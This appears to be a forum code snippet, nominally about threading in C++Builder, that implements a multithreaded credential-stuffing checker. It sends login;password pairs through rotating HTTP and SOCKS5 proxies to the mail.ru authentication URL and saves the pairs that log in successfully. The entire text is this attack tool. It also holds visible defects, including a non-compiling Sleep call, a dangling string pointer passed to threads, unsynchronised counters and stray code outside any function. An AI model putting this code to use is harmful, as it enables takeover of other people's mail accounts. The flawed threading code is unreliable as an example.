Работе с потоками

void __fastcall TForm1::Button2Click(TObject *Sender)
{
checked=good=0;
Memo1->Text = "";
Button2->Enabled = false;
Button3->Enabled = true;
stop = false;
Timer1->Enabled = true;
for (i = 0;i < source->Count;i++)
{
while (potoki >= CSpinEdit1->Value)
{Sleep(unsigned int 1000);}
if (stop) break;
AnsiString str = source->Strings[i];
char* h = str.c_str();
_beginthreadex(NULL,0,&One,h,0,NULL);
}
}
 
//---------------------------------------------------------------------------
unsigned __stdcall One(void* string)
{
Form1->potoki++;
THTTPSend *http = new THTTPSend;
char* ch = (char*) string;
AnsiString str = ch;
randomize();
int a = random(Form1->proxy->Count-1);
AnsiString proxy = Form1->proxy->Strings[a];
if (proxy.Pos("HTTP") > 0)
{
proxy = proxy.SubString(proxy.Pos(";")+1,proxy.Length()-proxy.Pos(";")+1);
http->ProxyHost = proxy.SubString(0,proxy.Pos(":")-1);
http->ProxyPort = proxy.SubString(proxy.Pos(":")+1,proxy.Length()-proxy.Pos(":")+1);
}
else
{
proxy = proxy.SubString(proxy.Pos(";")+1,proxy.Length()-proxy.Pos(";")+1);
http->Sock->SocksType = ST_Socks5;
http->Sock->SocksIP = proxy.SubString(0,proxy.Pos(":")-1);
http->Sock->SocksPort = proxy.SubString(proxy.Pos(":")+1,proxy.Length()-proxy.Pos(":")+1);
}
AnsiString login = (AnsiString) str.SubString(0,str.Pos(";")-1);
AnsiString passw = (AnsiString) str.SubString(str.Pos(";")+1,str.Length()-str.Pos(";")+1);
http->HTTPMethod("get","http://win.mail.ru/cgi-bin/auth?Login="+login+"&Domain=mail.ru&Password="+passw);
Form1->Label7->Caption = Form1->checked++;
Application->ProcessMessages();
if( http->Headers->Text.Pos("Mpop=") > 0)
{
Form1->Label8->Caption = Form1->good++;
Application->ProcessMessages();
Form1->Memo1->Lines->Add(login+";"+passw);
Form1->i++;
Application->ProcessMessages();
}
Form1->potoki--;
return 0;
}

EnterCriticalSection(&Form1->CS);
Form1->potoki++;
LeaveCriticalSection(&Form1->CS);

EnterCriticalSection(&Form1->CS);
Form1->potoki--;
LeaveCriticalSection(&Form1->CS);